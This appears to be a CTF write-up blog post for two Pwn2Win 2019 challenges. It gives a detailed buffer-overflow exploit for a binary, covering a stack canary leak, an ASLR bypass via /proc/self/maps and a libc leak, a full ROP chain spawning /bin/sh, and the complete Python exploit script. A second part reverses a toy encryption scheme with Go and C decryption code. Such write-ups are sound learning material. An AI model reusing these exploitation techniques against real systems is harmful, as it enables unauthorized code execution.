Writeups for some challenges from Pwn2Win CTF 2019.
Full tROll
We've found a HARPA system that seems impenetrable. Help us to pwn it to get its secrets!
Server: 200.136.252.31 2222
Server backup: 167.71.169.196 2222
Exploitation
Summary:
A buffer overflow that enables
1) reading the first line of any file,
2) inspecting the stack canary of main
, and
3) controlling the stack after return from main
.
Read /proc/self/maps to get the executable's location in memory,
leak main
's stack canary,
smash the stack of main
(repairing the stack canary)
to return to printf
and leak the address of a libc function,
return back into main
,
smash the stack once more with a ROP chain constructed from libc code.
I worked on this challenge as part of a team. (Let me know if you were on the team and want your name mentioned here.) This was my first time completing a real ROP challenge with full ASLR; the only earlier time I had done it, I used a one-gadget and didn't need a full ROP chain. Solution files: full_troll.zip.
We get a single ELF binary, which is the code of a process running on a remote server that we have to exploit. Reversing it with Radare2, we get the following approximate pseudocode:
// fill the buffer with the contents of the FLAG_FILE environment variable, or "secret.txt" if unset
void set_filename(char *buffer)
{
char *env_filename = getenv("FLAG_FILE");
if (env_filename != NULL)
strcpy(buffer, filename);
else
strcpy(buffer, "secret.txt");
}
int check_password(char *s)
{
if (strlen(s) < 23)
return 1;
if (
s[0]^s[1] == 0x3f &&
s[1]^s[2] == 0x0b &&
s[2]^s[3] == 0x27 &&
s[3]^s[4] == 0x33 &&
s[4]^s[5] == 0x41 &&
s[5]^s[6] == 0x4f &&
s[6]^s[7] == 0x3b &&
s[7]^s[8] == 0x1b &&
s[8]^s[9] == 0x21 &&
s[9]^s[10] == 0x32 &&
s[10]^s[11] == 0x73 &&
s[11]^s[12] == 0x79 &&
s[12]^s[13] == 0x2b &&
s[13]^s[14] == 0x3a &&
s[14]^s[15] == 0x00 &&
s[15]^s[16] == 0x02 &&
s[16]^s[17] == 0x38 &&
s[17]^s[18] == 0x1d &&
s[18]^s[19] == 0x03 &&
s[19]^s[20] == 0x04 &&
s[20]^s[21] == 0x49 &&
s[21]^s[22] == 0x61 &&
s[22] == 0x58
)
return 0; // success
else
return 2;
}
const char *allowed_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/-_.";
bool check_filename(char *s)
{
for (int i = 0; i < strlen(s); i++) {
int matched = 0;
for (int j = 0; j < strlen(allowed_chars); j++) {
if (s[i] == allowed_chars[j]) {
matched = 1;
break;
}
}
if (!matched) {
return false;
}
}
return true;
}
void report_check_result(int rc, char *filename)
{
switch (rc) {
case 1:
puts("Not even close!\n");
break;
case 2:
puts("Incorrect!\n");
break;
case 3:
printf("Unable to open %.*s file!\n", 48, filename);
break;
default:
printf("Unknown error");
break;
}
}
// Returns the number of bytes read. Does not NUL-terminate.
int read_line(FILE *stream, char *buf)
{
for (int i = 0; ; i++) {
c = fgetc(stream);
if (c == EOF || c == '\n')
return i;
buf[i] = c;
}
}
void main(void)
{
char filename[40];
char s[32];
char *line_buf;
line_buf = malloc(16000);
memset(s, 0, 48); // overflows harmlessly 16 bytes into filename
memset(filename, 0, 40);
setvbuf(stdout, NULL, _IONBF, 0);
set_filename(filename); // does strcpy(filename, "secret.txt")
for (;;) {
puts("Welcome my friend. Tell me your password.");
read_line(stdin, password); // buffer overflow possible
int rc = check_password(password);
if (rc == 1 || rc == 2) {
report_check_result(rc, filename);
continue;
} else if (!check_filename(filename)) {
report_check_result(3, filename);
continue;
}
FILE *f = fopen(filename, "rb");
if (f == NULL) {
if (filename[0] == '\0') {
report_check_result(4, filename);
// this is the only condition that breaks the loop
break;
} else {
report_check_result(3, filename);
continue;
}
}
// read first line of file and print it
read_line(f, line_buf);
puts(line_buf);
fclose(f);
}
}
The program asks for a password.
If the password is correct,
it then opens the file named by filename
("secret.txt" by default).
If the file can't be opened, it prints the name of the file;
otherwise, it prints the first line of the file.
It loops until the first byte of filename
is 0,
at which point main
returns.
The first obstacle is the password.
check_password
asserts that the password
must be at least 23 bytes long.
It checks that the XOR of all pairs of adjacent bytes
have certain values, and finally that the 23rd byte
has a specific value.
We know the final byte, s[22] == 0x58
('X').
We also know that s[21] ^ s[22] == s[21] ^ 0x58 == 0x61
,
which means that s[21] == 0x61 ^ 0x58 == 0x39
('9').
Continuing in the fashion to the beginning, we recover the full password
VibEv7xCXyK8AjPPRjwtp9X
.
Any input we provide to the program must begin with this prefix.
Sending the password alone causes the program
to print the first line of secret.txt,
a useless troll message.
$ printf 'VibEv7xCXyK8AjPPRjwtp9X\n' | nc 200.136.252.31 2222 | head -n 2 Welcome my friend. Tell me your password. http://troll.harpa.world
The read_line(stdin, password)
call
has no length check and therefore may overflow the
32-byte password
buffer into the 40-byte filename
buffer.
The password is 23 bytes long, so we need 9 additional bytes of padding
to fill the password
buffer.
Anything after that starts to overflow into filename
.
If the file does not exist, or if it does not pass check_filename
,
we get the filename string printed out
in an error message.
If the file exists and has a suitable name, we get its first line.
$ printf 'VibEv7xCXyK8AjPPRjwtp9X.........XX\n' | nc 200.136.252.31 2222 | head -n 2 Welcome my friend. Tell me your password. Unable to open XXcret.txt file! $ printf 'VibEv7xCXyK8AjPPRjwtp9X........./etc/issue\n' | nc 200.136.252.31 2222 | head -n 2 Welcome my friend. Tell me your password. Ubuntu 18.04.3 LTS \n \l
flag.txt contains the same troll message as secret.txt. What file is there whose first line can help us? The first line of /proc/self/maps gives the address at which the program is loaded in memory, enabling us to bypass ASLR for the text segment. Here, the executable's base address is 0x000055597b7e8000. It changes every time you connect.
$ printf 'VibEv7xCXyK8AjPPRjwtp9X........./proc/self/maps\n' | nc 200.136.252.31 2222 | head -n 2 Welcome my friend. Tell me your password. 55597b7e8000-55597b7ea000 r-xp 00000000 fd:01 1030221 /home/chall/chall
We also overflow the buffer even further
to overwrite the saved return address in the stack frame of main
.
There's a problem, though: before the stack frame,
there's an 8-byte stack canary.
The memory layout looks like this:
password (32 bytes) filename (40 bytes) canary savedRBPsavedRIP ...more stack...
main
checks that the canary has the expected value before returning.
If it does not, the program aborts with Stack smashing detected
and our overwritten rip
is never even jumped to.
We can use the fact that the program prints the name of the file
it tried to open to leak the bytes of the canary.
We need to send the password, then 9 bytes of padding to fill the password
buffer,
then 40 bytes of padding to fill the filename
buffer.
The first byte of the canary is always 0x00,
so we must then send 1 more byte to join the filename
string to the bytes of the canary.
The printf
call in report_check_result
will print up to 48 bytes of the filename, which is exactly as much as we need.
I added highlighting to illustrate
what parts of the input and output correspond to
what parts of the stack.
$ printf 'VibEv7xCXyK8AjPPRjwtp9X.........xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx#' | nc 200.136.252.31 2222 | head -n 2 | xxd 00000000: 5765 6c63 6f6d 6520 6d79 2066 7269 656e Welcome my frien 00000010: 642e 2054 656c 6c20 6d65 2079 6f75 7220 d. Tell me your 00000020: 7061 7373 776f 7264 2e0a 556e 6162 6c65 password..Unable 00000030: 2074 6f20 6f70 656e 2078 7878 7878 7878 to open xxxxxxx 00000040: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx 00000050: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx 00000060: 7823 94c7 8010 62af e020 6669 6c65 210a x#....b.. file!.
During this run, the value of the canary was 0094c7801062afe0
.
Now we can safely smash the stack in main
,
by first leaking the canary, then being careful to restore it
whenever we write over it.
This process of reading the canary will fail whenever the canary contains a 0x00 byte
in the middle, because that will terminate the string as seen by printf
.
You could write a loop to continue reading later parts of the canary in this case,
or you could just ignore the problem and repeatedly run your commands
until you get a good canary (which is what we did).
The right thing to do at this point at this point
would be to leak a libc address, in order to gain access to more ROP gadgets.
But we did not immediately realize that we could use the printf
in report_check_result
to do that.
Instead, we tried for a while to build an exploit using only the gadgets
available in the binary itself.
There weren't many of these; notably we lacked even a syscall
gadget.
We weren't initially trying to open a shell—we
suspected (wrongly, it turns out) that secret.txt was longer than one line
and that the flag would be somewhere later in the file.
We used ROPgadget and
Ropper
to get a list of gadgets in the file.
There were a pop rdi; ret;
and a pop rsi; pop r15; ret;
that enabled us to call fopen
on the strings "secret.txt"
and "rb"
to get a file handle in rax
.
(rdi
is the first function argument and
rsi
is the second; we can put garbage in r15
.)
But we couldn't find a way to transfer that file handle from rax
to rdi
to pass it on to further functions like read_line
.
We spent some time trying to use an awkward
mov rdi, rax; call strcpy; nop; leave; ret
gadget,
hoping that we could get strcpy
to work as a no-op,
but we couldn't stop the leave
instruction from
trashing the state of the stack pointers.
Eventually we realized that we could get a libc address.
The printf
call in report_check_result
prints up to 48 bytes starting at a caller-provided address.
We'll use the address of getenv
.
We found the offset of getenv
's relocation entry
using Radare2:
[0x00201f78 [xAdvc] 0% 440 ]> pd $r @ reloc.getenv ;-- reloc.getenv: ; CODE XREF from sym.imp.getenv (0x820) 0x00201f78 .qword 0x0000000000000826
We also need the offset of report_check_result
,
which is 0x00000ded.
At this point we had to start writing an exploit script instead of just running nc
,
because there are multiple dependent steps.
To get the address of getenv
,
- Read /proc/self/maps to get the executable base address.
- Leak the stack canary of
main
. - Overwrite the saved
rip
ofmain
, taking care to restore the canary, then stage a ROP chain that- Stores the value 3 in
rdi
(the first argument toreport_check_result
). - Stores the address of
getenv
's relocation entry (which is the executable's base address plus 0x00201f78) inrsi
(the second argument toreport_check_result
). - Jumps to
report_check_result
, causing it to print thegetenv
relocation entry.
- Stores the value 3 in
- Send a filename whose first byte is 0. This is the only way to cause
main
to return and our ROP chain to start executing. - Read a line from the server, which will be the "Unable to open XXXXXX file!" error string, where XXXXXX is the bytes of the address of
getenv
.
If we know the precise version of libc that the server is running,
we can combine that with the address of getenv
to get the libc base address.
From reading the first line /etc/issue, we get that the server is running Ubuntu 18.04.3.
The Ubuntu packages site
says that this version of Ubuntu uses libc6 version 2.27-3ubuntu1.
We can download the deb file
and unpack it using dpkg-deb
.
readelf -s
tells us the offset of getenv
, 0x426e0.
Subtracting that from the leaked address of getenv
yields the libc base address.
$ dpkg-deb -x libc6_2.27-3ubuntu1_amd64.deb deb $ readelf -s deb/lib/x86_64-linux-gnu/libc.so.6 | grep getenv 648: 0000000000042eb0 27 FUNC WEAK DEFAULT 13 __libc_secure_getenv@@GLIBC_PRIVATE 900: 0000000000042eb0 27 FUNC WEAK DEFAULT 13 __secure_getenv@GLIBC_2.2.5 1362: 00000000000426e0 212 FUNC GLOBAL DEFAULT 13 getenv@@GLIBC_2.2.5 1801: 0000000000042eb0 27 FUNC WEAK DEFAULT 13 secure_getenv@@GLIBC_2.17
Here's what the code to do all this looks like.
stdin
and stdout
are the input and output stream of the executable
(either a local process's stdin and stdout, or a socket to a remote server).
Notice when we read the address of getenv
we read only 6 bytes;
that's because the pointer is something like
0x00007fXXXXXXXXXX with the first two bytes zero,
and in little-endian byte order looks like
XXXXXXXXXX7f0000
.
PASSWORD = "VibEv7xCXyK8AjPPRjwtp9X........."
FILENAME = "x" * 40
def q(x):
return struct.pack("<Q", x)
# Read /proc/self/maps.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + "/proc/self/maps" + "\n")
maps = read_line(stdout)
print "maps:", repr(maps)
base_address = int(maps[:12], 16)
print "base address: 0x%x" % base_address
# Read the canary.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + FILENAME + "#\n")
resp = read_line(stdout)
canary = "\x00" + resp[-7-7:-7] # filename ends 7 bytes from the end of string
print "canary:", canary.encode("hex")
addr_main = base_address + 0x00000ead
addr_reloc_getenv = base_address + 0x00201f78
addr_report_check_result = base_address + 0x00000ded
getenv_libc_offset = 0x000426e0
ropchain = ""
ropchain += q(base_address + 0x10a3) # pop rdi; ret;
ropchain += q(3)
# rdi == 3
ropchain += q(base_address + 0x10a1) # pop rsi; pop r15; ret;
ropchain += q(addr_reloc_getenv)
ropchain += "XXXXXXXX"
# rsi == address of getenv's relocation entry
# r15 == garbage
ropchain += q(addr_report_check_result) # report_check_result(3, reloc_getenv)
# Restore the canary and overwrite saved RIP.
# "AAAAAAAA" is padding to get past the saved RBP.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + FILENAME + canary + "AAAAAAAA" + ropchain + "\n")
_ = read_line(stdout) # "Unable to open xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx file!\n"
# Make main return.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + "\x00\n")
resp = read_line(stdout)
getenv_libc_addr, = struct.unpack("<Q", resp[-6-7:-7] + "\x00\x00")
print "getenv_libc_addr 0x%x" % getenv_libc_addr
libc_base_addr = getenv_libc_addr - getenv_libc_offset
print "libc_base_addr 0x%x" % libc_base_addr
We have a small problem here, which is that we need to continue interacting
with the program after learning the libc address,
but we have just caused main
to return.
To regain control, we stage the address of main
itself
after the address of report_check_result
,
to cause the code to jump back into main
after we get the printf
results we want.
From there, we can exploit the program again,
using a second ROP chain.
My first thought at this point was to try a one-gadget,
because that worked for me in a previous CTF.
A one-gadget is a single address you can jump to in libc
that immediately execs /bin/sh.
The one_gadget
program found three potential addresses,
subject to certain constraints:
$ one_gadget deb/lib/x86_64-linux-gnu/libc.so.6 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
While working on the exploit we were of course testing locally using the full_troll
executable.
On a Debian 10 system, which has a different libc than Ubuntu 18.04.3,
there are also three one-gadgets found,
and at least one of them worked, after making the necessary address adjustments.
But none of them worked against the challenge server, for whatever reason.
So we then resorted to using a full ROP chain found by Ropper:
$ Ropper.py --chain "execve cmd=/bin/sh" --file deb/lib/x86_64-linux-gnu/libc.so.6
Ropper outputs some Python code that you can just paste into your program
(you only have to provide the libc base address).
Unfortunately, it still didn't work.
We could get the remote server to run a dummy puts("secret.txt")
payload,
but not the one that runs a shell.
Testing inside an Ubuntu 18.04.3 VM, we found that it was crashing somewhere
inside the printf
call inside report_check_result
inside the second call to main
.
The exploit was being staged successfully but the program was crashing before main
could return the second time.
We compared the state of registers at the point of calling printf
on the local machine, where the exploit worked, and in the VM, where it didn't.
One of the differences was the rcx == 0
on the local machine,
and rcx == 1
in the VM.
So we threw in a dec ecx; ret;
gadget
before the return to main
,
and finally that worked.
Sending an ls
after spawning the shell results in a directory listing.
(Forgive the repr
output formatting,
that's just an artifact of how we were reading the server results after sending the exploit.)
$ ./exploit maps: '558c20e20000-558c20e22000 r-xp 00000000 fd:01 259722 /home/chall/chall\n' base address: 0x55956cbc5000 canary: 0073c144e847a011 getenv_libc_addr 0x7febae9746e0 libc_base_addr 0x7febae932000 'Unknown error' '_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt\nchall\nflag.txt\nsacr' 'ed\nsecret.txt\nsetup.sh\n'
So the flag is in a file called _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt,
not in secret.txt like we thought.
Running the exploit again with cat _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt
in place of ls
yields the flag
CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}
.
$ ./exploit maps: '55daa1f62000-55daa1f64000 r-xp 00000000 fd:01 259722 /home/chall/chall\n' base address: 0x55daa1f62000 canary: 009083eee7774a38 getenv_libc_addr 0x7fb97fa0b6e0 libc_base_addr 0x7fb97f9c9000 'Unknown error' 'CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution' '_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}\n'
I am actually not sure why forcing rcx == 0
had an effect.
I thought that the number of arguments that printf
expects
was entirely controlled by the format string—I don't see why it
should even have been looking at that function argument.
Looking back, perhaps the one-gadget at offset 0x4f2c5,
the one with the rcx == NULL
constraint,
would have worked as well, after fixing rcx
.
That's the one-gadget that worked for archiveer.
Here's the full exploit code, debugging warts and all:
#!/usr/bin/env python2
import socket
socket.socket.read = socket.socket.recv
socket.socket.write = socket.socket.send
import struct
import subprocess
import sys
import time
LOCAL = False
PASSWORD = "VibEv7xCXyK8AjPPRjwtp9X........."
FILENAME = "x" * 40
def read_line(f):
buf = []
while True:
c = f.read(1)
buf.append(c)
if not c or c == "\n":
break
return "".join(buf)
def q(x):
return struct.pack("<Q", x)
def pwn(stdin, stdout):
# Read /proc/self/maps.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + "/proc/self/maps" + "\n")
maps = read_line(stdout)
print "maps:", repr(maps)
base_address = int(maps[:12], 16)
print "base address: 0x%x" % base_address
# Read the canary.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + FILENAME + "#\n")
resp = read_line(stdout)
canary = "\x00" + resp[-7-7:-7]
print "canary:", canary.encode("hex")
addr_main = base_address + 0xead
addr_fopen = base_address + 0x8d0
addr_secret_txt = base_address + 0x10c8
addr_rb = base_address + 0x00001152
addr_data_segment = base_address + 0x0000000000202000
addr_got_getenv = base_address + 0x820
addr_got_puts = base_address + 0x840
addr_report_check_result = base_address + 0xded
addr_reloc_getenv = base_address + 0x00201f78
getenv_libc_offset = 0x426e0
onegadget_libc_offset = (0x4f2c5, 0x4f322, 0x10a38c)[2]
# getenv_libc_offset = 0x39480
# onegadget_libc_offset = (0x4484f, 0x448a3, 0xe5456)[0]
ropchain = ""
ropchain += q(base_address + 0x10a3) # pop rdi; ret;
ropchain += q(3)
# rdi == 3
ropchain += q(base_address + 0x10a1) # pop rsi; pop r15; ret;
ropchain += q(addr_reloc_getenv)
ropchain += "XXXXXXXX"
# rsi == address of getenv's GOT entry
# r15 == garbage
ropchain += q(addr_report_check_result)
ropchain += q(base_address + 0x103a) # dec ecx; ret;
ropchain += q(addr_main)
# Restore the canary and overwrite saved RIP.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + FILENAME + canary + "A"*8 + ropchain + "\n")
_ = read_line(stdout) # "Unable to open xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx file!\n"
# Make main return.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + "\0exit\n")
resp = read_line(stdout)
getenv_libc_addr, = struct.unpack("<Q", resp[-6-7:-7] + "\x00\x00")
print "getenv_libc_addr 0x%x" % getenv_libc_addr
libc_base_addr = getenv_libc_addr - getenv_libc_offset
print "libc_base_addr 0x%x" % libc_base_addr
onegadget_libc_addr = libc_base_addr + onegadget_libc_offset
print "onegadget_libc_addr 0x%x" % onegadget_libc_addr
if False:
ropchain = ""
ropchain += q(base_address + 0x103a) # dec ecx; ret;
ropchain += q(base_address + 0x10a3) # pop rdi; ret;
ropchain += q(addr_secret_txt)
ropchain += q(addr_got_puts)
# ropchain += q(onegadget_libc_addr)
else:
##########################################
# Generated by ropper ropchain generator #
p = lambda x : struct.pack('<Q', x)
IMAGE_BASE_0 = libc_base_addr # 0x0000000000000000 # cd7c1a035d24122798d97a47a10f6e2b71d58710aecfd392375f1aa9bdde164d
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
ropchain = ''
ropchain += rebase_0(0x0000000000021a45) # 0x0000000000021a45: pop r13; ret;
ropchain += '//bin/sh'
ropchain += rebase_0(0x000000000002155f) # 0x000000000002155f: pop rdi; ret;
ropchain += rebase_0(0x00000000003eb1a0)
ropchain += rebase_0(0x0000000000064189) # 0x0000000000064189: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
ropchain += p(0xdeadbeefdeadbeef)
ropchain += p(0xdeadbeefdeadbeef)
ropchain += p(0xdeadbeefdeadbeef)
ropchain += p(0xdeadbeefdeadbeef)
ropchain += rebase_0(0x0000000000021a45) # 0x0000000000021a45: pop r13; ret;
ropchain += p(0x0000000000000000)
ropchain += rebase_0(0x000000000002155f) # 0x000000000002155f: pop rdi; ret;
ropchain += rebase_0(0x00000000003eb1a8)
ropchain += rebase_0(0x0000000000064189) # 0x0000000000064189: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
ropchain += p(0xdeadbeefdeadbeef)
ropchain += p(0xdeadbeefdeadbeef)
ropchain += p(0xdeadbeefdeadbeef)
ropchain += p(0xdeadbeefdeadbeef)
ropchain += rebase_0(0x000000000002155f) # 0x000000000002155f: pop rdi; ret;
ropchain += rebase_0(0x00000000003eb1a0)
ropchain += rebase_0(0x0000000000023e6a) # 0x0000000000023e6a: pop rsi; ret;
ropchain += rebase_0(0x00000000003eb1a8)
ropchain += rebase_0(0x0000000000001b96) # 0x0000000000001b96: pop rdx; ret;
ropchain += rebase_0(0x00000000003eb1a8)
ropchain += rebase_0(0x00000000000439c8) # 0x00000000000439c8: pop rax; ret;
ropchain += p(0x000000000000003b)
ropchain += rebase_0(0x00000000000d2975) # 0x00000000000d2975: syscall; ret;
##########################################
# Restore the canary and overwrite saved RIP.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
print "1", repr(_)
stdin.write(PASSWORD + FILENAME + canary + "A"*8 + ropchain + "\n")
# stdin.write(PASSWORD + FILENAME + "\n")
_ = read_line(stdout) # "Unable to open xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx file!\n"
print "2", repr(_)
# Make main return.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + "\0YYYY\n")
# For whatever reason, these shell commands didn't get executed.
# The one that's effective is in the "while True" loop below.
stdin.write("id;\n")
stdin.write("id;\n")
stdin.write("ls;\n")
if LOCAL:
# p = subprocess.Popen(["strace", "./full_troll"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
# p = subprocess.Popen(["gdb", "--batch-silent", "-q", "-ex", "run", "--args", "./full_troll"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
p = subprocess.Popen(["./full_troll"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
stdin = p.stdin
stdout = p.stdout
else:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("167.71.169.196", 2222))
# s.connect(("127.0.0.1", 31337))
stdin = s
stdout = s
pwn(stdin, stdout)
while True:
# stdin.write("ls;\n")
stdin.write("cat _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt;\n")
data = stdout.read(64)
if not data:
break
print repr(data)
if LOCAL:
returncode = p.wait()
print returncode
According to mephi42's comment, we could probably have used /proc/self/syscall to get a libc address directly and avoid the two-stage ROP exploit.
By the way, the "sacred" file contained the same troll message as secret.txt and flag.txt. Maybe it was targeted at people trying a dictionary attack over filenames. The contents of setup.sh were just
#!/bin/sh
cd /home/chall
./chall
Random Crypto
At some point Sophia has realized that a few messages were being intercepted and it has decided to send encrypted messages at random and the encryption parameters were sent as a separate message to different people on the same team, so that the chances of both messages being intercepted were much smaller, almost negligible. We have been able to intercept the main message with great effort and we believe that, like Sophia code, there is a flaw in its encryption method. Can you help us find the information we are looking for? Ah... Rebellious Fingers has done a great job of stealing the encryption method binary and sending it to 2019 along with the broadcast!
Cryptography Reversing
Summary:
Invertible, randomized transformation of input,
initially seeded by srand(time(NULL))
.
Implement the inverse transform
and brute-force the seed timestamp.
Update : I was wrong about the nature of the challenge,
but my slightly wrong approach led to the correct solution nevertheless.
See below..
I did this challenge on my own and didn't submit the flag. I finished it a couple of hours after the contest had ended, anyway. Solution files: random_crypto.zip.
We get an ELF binary and a text file full of 14444 largish (~2000-bit) decimal integers, positive and negative.
434395014266637992551167018691481376075247830220994004229123109798382542739296741787593733813688784981489808423992858037085171861434929285563327943387164600719898548818036110608650525370356796579603120588821277832077176143474367194376862997458683851181344639991908096858614643824142127834484602465996962523051245317560958377094628901250800922778479316768229774699193115752651969005549226652626088611759386778267843600959541258099271376872811053841733246413271174232712496068173127862706624857329355312924583422889827692959380284723772407921467263132355329371250081577657534514039740577255260160 434395014266637992551167018691481376075247830220994004229123109798382542739296741787593733813688784981489808423992858037085171861434929285563327943387164600719898548818036110608650525370356796579603120588821277832077176143474367194376862997458683851181344639991908096858614643824142127834484602465996962523051245317560958377094628901250800922778479316768229774699193115752651969005549226652626088611759386778267843600959541258099271376872811053841733246413271174232712496068173127862706624857329355312924583422889827692959380284723772407921467263132355329371250081577657534514039740577255260160 -100245003292301075204115465851880317555826422358690924052874563799626740632145401950983169341620488841882263482459890316250424275715752912053075679243191830935361203573392948601996275085466953056831489366651064115094732956186392429471583768644311657964925686151978791582757225497878952577188754415230068274550287380975605779329529746442492520641187534638822255699813795942919685155126744612144481987329089256523348523298355674945985702355264089348092287633831809438318268323424567968316913428614466610674903866820729467606010834936255171058800137645928152931826941902536354118624555517828136960 541323017778425806102223515600153714801462680736930989885522644517984399413585170535309114444750639746164222805283407707752291088865065725086608667913235887050950499296321922450779885461521546506890042579915746221511557963406519119146552350679282953010598705220685474546889017688546343916819273842242368682571551857268271208379460630789459611462412687049640180778994498091766299837684420905580202731577081985226082025811120644708322792718426082479698353222691770966918648946492667028911332514518119697644480880831939125072458508655777923717520743288012025831865486273696312240572599796271939584 ...
Reversing the binary reveals that it reads a file called "flag" into an array of bigints and seeds a random number generator with the current time. The random number generator is used to determine a number of passes to make over the data. In each pass, elements are processed in twos: the pair of adjacent numbers a and b are replaced by a+b and a−b. Additionally, in each pass a randomly chosen odd-indexed element has its least significant bit flipped. Finally, the processed array of bigints is output in reverse order. Here is pseudocode:
uint8_t file[1000000000];
bigint *cfile;
int calc_iteration_count(int r)
{
int upper = ((long) r * (int) 0x82b6690f) >> 32;
return r - 0xfab * (((r + upper) >> 11) - (r >> 31));
}
int main()
{
FILE *stream = fopen("flag", "rb");
int size = fread(stream, 1, 999999999, stream);
fclose(stream);
cfile = malloc(size * 48); // seemingly over-allocated; sizeof(bigint) is only 16
for (i = 0; i < size; i++) {
cfile[i] = new_bigint(file[i]);
}
srand(time(NULL));
int iteration_count = calc_iteration_count(rand()); // not actually a function call
for (i = 0; i < iteration_count; i++) {
printf("%d/%d\n", i, iteration_count);
// if size of flag is odd, add an element to make it even
if (size & 1 == 1) {
cfile[size] = new_bigint(0);
size = size + 1;
}
for (j = 0; j < size; j += 2) {
bigint sum = cfile[j] + cfile[j+1];
bigint diff = cfile[j] - cfile[j+1];
cfile[j] = sum;
cfile[j+1] = diff;
}
// flip the LSb of a random odd-indexed element
cfile[(rand() % size) | 1] ^= new_bigint(1);
}
stream = fopen("crypt", "wb");
// write out cfile in reverse order
for (i = 0; i < size; i++) {
gmp_fprintf(stream, "%Zd ", cfile[size - 1 - i]);
}
fclose(stream);
free(cfile);
return 0;
}
All of these operations—the xors, the sum and difference—are invertible. The game plan is to write a program to invert the encryption operation given a seed, then brute-force the seed. My first thought for writing a program that will do bigint math and run reasonably fast was Go with math/big. This program will turn out to require a few changes around the random number generator before it actually works.
package main
import (
"bufio"
"flag"
"fmt"
"math/big"
"os"
"os/exec"
"strconv"
)
type Rand struct {
s *bufio.Scanner
}
func NewRand(seed int) *Rand {
cmd := exec.Command("../randhelper", strconv.Itoa(seed))
stdout, err := cmd.StdoutPipe()
if err != nil {
panic(err)
}
err = cmd.Start()
if err != nil {
panic(err)
}
s := bufio.NewScanner(stdout)
s.Split(bufio.ScanWords)
return &Rand{s}
}
func (rand *Rand) Next() int {
if !rand.s.Scan() {
panic("out of rand")
}
n, err := strconv.Atoi(rand.s.Text())
if err != nil {
panic(err)
}
return n
}
func calcIterationCount(r uint32) int {
upper := uint32(uint64(int64(r)*int64(-0x7d4996f1)) >> 32)
return int(r - 0xfab*((r+upper)>>11) - (r >> 31))
}
func main() {
var one, two big.Int
one.SetUint64(1)
two.SetUint64(2)
flag.Parse()
seed, err := strconv.Atoi(flag.Arg(0))
if err != nil {
panic(err)
}
rand := NewRand(seed)
filename := flag.Arg(1)
f, err := os.Open(filename)
if err != nil {
panic(err)
}
defer f.Close()
iterationCount := calcIterationCount(uint32(rand.Next()))
rands := make([]int, iterationCount)
for i := 0; i < iterationCount; i++ {
rands[i] = rand.Next()
}
var cfile []*big.Int
s := bufio.NewScanner(f)
s.Split(bufio.ScanWords)
for s.Scan() {
n := new(big.Int)
n.SetString(s.Text(), 10)
cfile = append(cfile, n)
}
if s.Err() != nil {
panic(s.Err())
}
// reverse
for i := 0; i < len(cfile)/2; i++ {
tmp := cfile[i]
cfile[i] = cfile[len(cfile)-1-i]
cfile[len(cfile)-1-i] = tmp
}
for i := 0; i < iterationCount; i++ {
r := rands[iterationCount - 1 - i]
t := (r % len(cfile)) | 1
cfile[t].Xor(cfile[t], &one)
for j := 0; j < len(cfile); j += 2 {
// cfile[j] == a + b
// cfile[j+1] == a - b
// (a + b) + (a - b) == 2 * a
var a big.Int
a.Add(cfile[j], cfile[j+1])
a.Div(&a, &two)
cfile[j+1].Sub(cfile[j], &a)
cfile[j].Set(&a)
}
}
buf := make([]byte, len(cfile))
for i := 0; i < len(cfile); i++ {
n := cfile[i]
if !n.IsUint64() {
fmt.Printf("%v no\n", seed)
os.Exit(1)
}
u := n.Uint64()
if u > 255 {
fmt.Printf("%v no\n", seed)
os.Exit(1)
}
buf[i] = uint8(u)
}
fmt.Printf("%v %+q\n", seed, string(buf))
}
The decryption program needs to reproduce the sequence of rand()
values
that was used during the encryption.
(Or so I thought—more details below.)
I thought about reimplementing the Glibc random number generator,
but it's more complicated
than just a simple linear congruential generator.
Instead, I wrote a helper program in C
that just outputs a sequence of random numbers,
given a seed on the command line,
and read its output from the Go program.
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int seed;
if (argc < 2) {
return 1;
}
seed = atoi(argv[1]);
srand(seed);
for (;;) {
printf("%d\n", rand());
}
return 0;
}
